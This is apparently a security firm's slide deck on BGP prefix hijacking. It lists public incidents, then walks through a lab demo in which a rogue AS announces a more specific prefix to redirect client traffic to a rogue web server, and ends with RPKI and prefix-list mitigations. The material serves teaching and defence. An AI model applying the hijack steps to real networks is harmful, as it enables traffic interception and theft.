

# BGP Hijacking

Information Security Inc.

# Contents

- About BGP
- BGP Hijacking
- Public Incidents
- Demo Setup
- BGP path hijacking attack demo
- Mitigations
- References

# About BGP

- The Border Gateway Protocol (BGP) is an inter-Autonomous System routing protocol
- The primary function of a BGP speaking system is to exchange network reachability information with other BGP systems.



# BGP hijacking

- **BGP hijacking** (sometimes referred to as **prefix hijacking**, **route hijacking** or **IP hijacking**) is the illegitimate takeover of groups of IP addresses by corrupting [Internet](#) routing tables maintained using the [Border Gateway Protocol](#) (BGP)
- IP hijacking can occur deliberately or by accident in one of several ways:
  - ▲ An AS announces that it originates a prefix that it does not actually originate
  - ▲ An AS announces a more specific prefix than what may be announced by the true originating AS
  - ▲ An AS announces that it can route traffic to the hijacked AS through a shorter route than is already available, regardless of whether or not the route actually exists

# Public incidents

- Recent notable Incident
- Google routing blunder

<https://bgpmon.net/bgp-leak-causing-internet-outages-in-japan-and-beyond/>

<https://www.japantimes.co.jp/news/2017/08/26/national/japanese-government-probes-internet-disruption/>

<https://www.internetsociety.org/blog/tech-matters/2017/08/google-leaked-prefixes-and-knocked-japan-internet/>

- © Google accidentally became a transit provider for thousands of networks
- © Google accidentally leaked BGP prefixes it learned from peering relationships, essentially becoming a transit provider instead of simply exchanging traffic between two networks and their customers
- © A configuration error or software problem in Google's network led to inadvertently announcing thousands of prefixes to Verizon, who in turn propagated the leak to many of its peers

# Public incidents

- April 1997: The "AS 7007 incident"
- December 24, 2004: TTNNet in Turkey hijacks the Internet
- May 7, 2005: Google's May 2005 Outage
- January 22, 2006: Con-Edison hijacks big chunk of the Internet
- February 24, 2008: Pakistan's attempt to block YouTube access within their country takes down YouTube entirely
- November 11, 2008: The Brazilian ISP CTBC - Companhia de Telecomunicações do Brasil Central leaked their internal table into the global BGP table. It lasts over 5 minutes. Although, it was detected by a RIPE route server and then it was not propagated, affecting practically only their own ISP customers and few others
- April 8, 2010: Chinese ISP hijacks the Internet[8] - China Telecom originated 37,000 prefixes not belonging to them in 15 minutes, causing massive outage of services globally
- February, 2014: Canadian ISP used to redirect data from ISPs.[9] - In 22 incidents between February and May a hacker redirected traffic for roughly 30 seconds each session. Bitcoin and other crypto-currency mining operations were targeted and currency was stolen
- January 2017: Iranian pornography censorship

# Demo Setup



Prefixes advertised

=====

AS 3001 => 1.0.0.0/8  
 AS 3002 => 2.0.0.0/8  
 AS 3003 => 3.0.0.0/8  
 AS 3004 => 3.0.0.0/24

Client IP => 1.0.0.2  
 WebServer => IP 3.0.0.2  
 Rogue WebServer IP => 3.0.0.2

# BGP path hijacking attack demo

- BGP path AS 3004 announces a more specific prefix (3.0.0.0/24) than what may be announced by the true originating AS 3003 (3.0.0.0/8) and hijacks the BGP path
- Normal traffic flow from the Client to the legit web server  
**AS3001(Client) > AS 3002 > AS3003 (Legit WebServer)**
- Normal traffic flow from Client to the legit web server seen with traceroute

```
# traceroute 3.0.0.2
traceroute to 3.0.0.2 (3.0.0.2), 64 hops max
 1  1.0.0.1 (1.0.0.1) 0.364ms 0.247ms 0.743ms
 2  11.11.11.12 (11.11.11.12) 1.950ms 1.926ms 1.953ms
 3  12.12.12.13 (12.12.12.13) 7.075ms 8.080ms 5.029ms
 4  3.0.0.2 (3.0.0.2) 12.712ms 10.010ms 8.914ms
```



# BGP path hijacking attack demo

- R1's BGP routing table in normal circumstances

```
R1#show ip bgp
BGP table version is 5, local router ID is 32.32.32.32
Status codes: s suppressed, d damped, h history, * valid, > best, i - internal,
               r RIB-failure, S Stale, m multipath, b backup-path, f RT-Filter,
               x best-external, a additional-path, c RIB-compressed,
Origin codes: i - IGP, e - EGP, ? - incomplete
RPKI validation codes: V valid, I invalid, N Not found

   Network          Next Hop        Metric LocPrf Weight Path
*>  1.0.0.0          0.0.0.0         0         32768  i
*>  3.0.0.0          11.11.11.12     0         0 3002 3003  i
R1#show ip bgp 3.0.0.2
BGP routing table entry for 3.0.0.0/8, version 3
Paths: (1 available, best #1, table default)
  Advertised to update-groups:
    1
  Refresh Epoch 1
    3002 3003
    11.11.11.12 from 11.11.11.12 (15.15.15.15)
      Origin IGP, localpref 100, valid, external, best
      rx pathid: 0, tx pathid: 0x0
```

- Notice the normal AS path => 3002 3003

# BGP path hijacking attack demo

- R3's BGP routing table in normal circumstances

```
R3#show ip bgp
BGP Table version is 5, local router ID is 192.168.119.9
Status codes: s suppressed, d damped, h history, * valid, > best, i - internal,
               r RIB-failure, S Stale, m multipath, b backup-path, f RT-Filter,
               x best-external, a additional-path, c RIB-compressed,
Origin codes: i - IGP, e - EGP, ? - incomplete
RPKI validation codes: V valid, I invalid, N Not found

   Network          Next Hop          Metric LocPrf Weight Path
*>  1.0.0.0          12.12.12.12              0   3002 3001 i
*>  3.0.0.0          0.0.0.0                0   32768 i
R3#show ip bgp 3.0.0.2
BGP routing table entry for 3.0.0.0/8, version 3
Paths: (1 available, best #1, table default)
  Advertised to update-groups:
    1
  Refresh Epoch 1
  Local
    0.0.0.0 from 0.0.0.0 (192.168.119.9)
      Origin IGP, metric 0, localpref 100, weight 32768, valid, sourced, local, best
      rx pathid: 0, tx pathid: 0x0
```

- Notice the local route towards 3.0.0.2

# BGP path hijacking attack demo

- Accessing 3.0.0.2 web page before path hijacking

```
# while true;do curl http://3.0.0.2/BgpHij.html | grep Welcome -A 1 ;sleep 1;done
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
           Dload  Upload   Total      Spent    Left   Speed
100  221  100  221    0    0  8811    0  --:--:--  --:--:--  --:--:-- 31571
<h1>Welcome to the legit web server</h1>
```

- It points to the legit web server

# BGP path hijacking attack demo

- Rogue AS3004 advertise a more specific prefix 3.0.0.0/24 and hijacks the BGP path

```
R4(config-router)#network 3.0.0.0 mask 255.255.255.0
R1#
*Sep 11 16:31:03.540: BGP(0): 14.14.14.15 rcvd UPDATE w/ attr: nexthop 14.14.14.15, origin i, metric 0, merged path 3004, AS PATH
*Sep 11 16:31:03.540: BGP(0): 14.14.14.15 rcvd 3.0.0.0/24
*Sep 11 16:31:03.540: BGP(0): Revise route installing 1 of 1 routes for 3.0.0.0/24 -> 14.14.14.15(global) to main IP table
```

- Traffic flow from the Client to the legit web server will change, going to the Rogue AS

## AS3001(Client) > AS3004(Rogue Web Server)

```
# traceroute 3.0.0.2
traceroute to 3.0.0.2 (3.0.0.2), 64 hops max
 1  1.0.0.1 (1.0.0.1) 6.291ms 1.926ms 1.924ms
 2  14.14.14.15 (14.14.14.15) 5.067ms 2.015ms 1.930ms
 3  3.0.0.2 (3.0.0.2) 3.812ms 3.878ms 3.995ms
```

# BGP path hijacking attack demo

- R1's BGP routing table after path hijacking

```
R1# show ip bgp
BGP table version is 6, local router ID is 32.32.32.32
Status codes: s suppressed, d damped, h history, * valid, > best, i - internal,
               r RIB-failure, S Stale, m multipath, b backup-path, f RT-Filter,
               x best-external, a additional-path, c RIB-compressed,
Origin codes: i - IGP, e - EGP, ? - incomplete
RPKI validation codes: V valid, I invalid, N Not found

   Network          Next Hop          Metric LocPrf Weight Path
*>  1.0.0.0          0.0.0.0            0         32768  i
*>  3.0.0.0/24       14.14.14.15        0         0 3004  i
*>  3.0.0.0          11.11.11.12        0         0 3002 3003  i

R1# show ip bgp 3.0.0.2
BGP routing table entry for 3.0.0.0/24, version 6
Paths: (1 available, best #1, table default)
  Advertised to update-groups:
    1
  Refresh Epoch 1
  3004
  14.14.14.15 from 14.14.14.15 (33.33.33.33)
    Origin IGP, metric 0, localpref 100, valid, external, best
    rx pathid: 0, tx pathid: 0x0
```

- Notice the hijacked AS Path => traffic going directly to the Rogue AS 3004

# BGP path hijacking attack demo

- R3's BGP routing table after path hijacking

```
R3#show ip bgp
BGP table version is 6, local router ID is 192.168.119.9
Status codes: s suppressed, d damped, h history, * valid, > best, i - internal,
               r RIB-failure, S Stale, m multipath, b backup-path, f RT-Filter,
               x best-external, a additional-path, c RIB-compressed,
Origin codes: i - IGP, e - EGP, ? - incomplete
RPKI validation codes: V valid, I invalid, N Not found

   Network          Next Hop          Metric LocPrf Weight Path
*>  1.0.0.0          12.12.12.12              0 3002 3001 i
*>  3.0.0.0/24       12.12.12.12              0 3002 3001 3004 i
*>  3.0.0.0          0.0.0.0                0          32768 i
R3#show ip bgp 3.0.0.2
BGP routing table entry for 3.0.0.0/24, version 6
Paths: (1 available, best #1, table default)
   Not advertised to any peer
   Refresh Epoch 1
   3002 3001 3004
     12.12.12.12 from 12.12.12.12 (15.15.15.15)
       Origin IGP, localpref 100, valid, external, best
       rx pathid: 0, tx pathid: 0x0
```

- Notice the route to 3.0.0.2 pointing to the Rogue AS 3004

# BGP path hijacking attack demo

- Accessing 3.0.0.2 web page after path hijacking

```
root@indishell:~# while true;do curl http://3.0.0.2/BgpHij.html | grep BE -A 1 ;sleep 1;done
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left   Speed
100  213  100  213    0     0  48387    0  --:--:--  --:--:--  --:--:--  71000
<h1>BEWARE!!! ROGUE web server</h1>
```

- It points to the Rogue web server

# Mitigations

- RPKI([https://en.wikipedia.org/wiki/Resource\\_Public\\_Key\\_Infrastructure](https://en.wikipedia.org/wiki/Resource_Public_Key_Infrastructure))
- Have filters on both sides of an EBGP session



# Mitigations

- Example: insert a prefix-list to deny the prefix “3.0.0.0/8” on the neighbor adjacency with the Rogue AS 3004 (IP 14.14.14.15)
- Create the prefix list and use it inbound (“in”) on the neighbor adj with the Rogue AS 3004 (IP 14.14.14.15)

```
R1(config)#ip prefix-list StopRogue deny 3.0.0.0/8  
R1(config-router)#neighbor 14.14.14.15 prefix-list StopRogue in
```

- When the Rogue AS tries to hijack the path it will be blocked by the prefix list

```
R1(config-router)#  
*Sep 11 16:53:44.564: BGP(0): 14.14.14.15 rcvd UPDATE w/ attr: nexthop 14.14.14.15, origin i, metric 0, merged path 3004, AS_PATH  
*Sep 11 16:53:44.564: BGP(0): 14.14.14.15 rcvd 3.0.0.0/24 -- DENIED due to: distribute/prefix-list;
```

# References

- RFC 4271  
<https://tools.ietf.org/html/rfc4271>
- Wikipedia  
[https://en.wikipedia.org/wiki/BGP\\_hijacking](https://en.wikipedia.org/wiki/BGP_hijacking)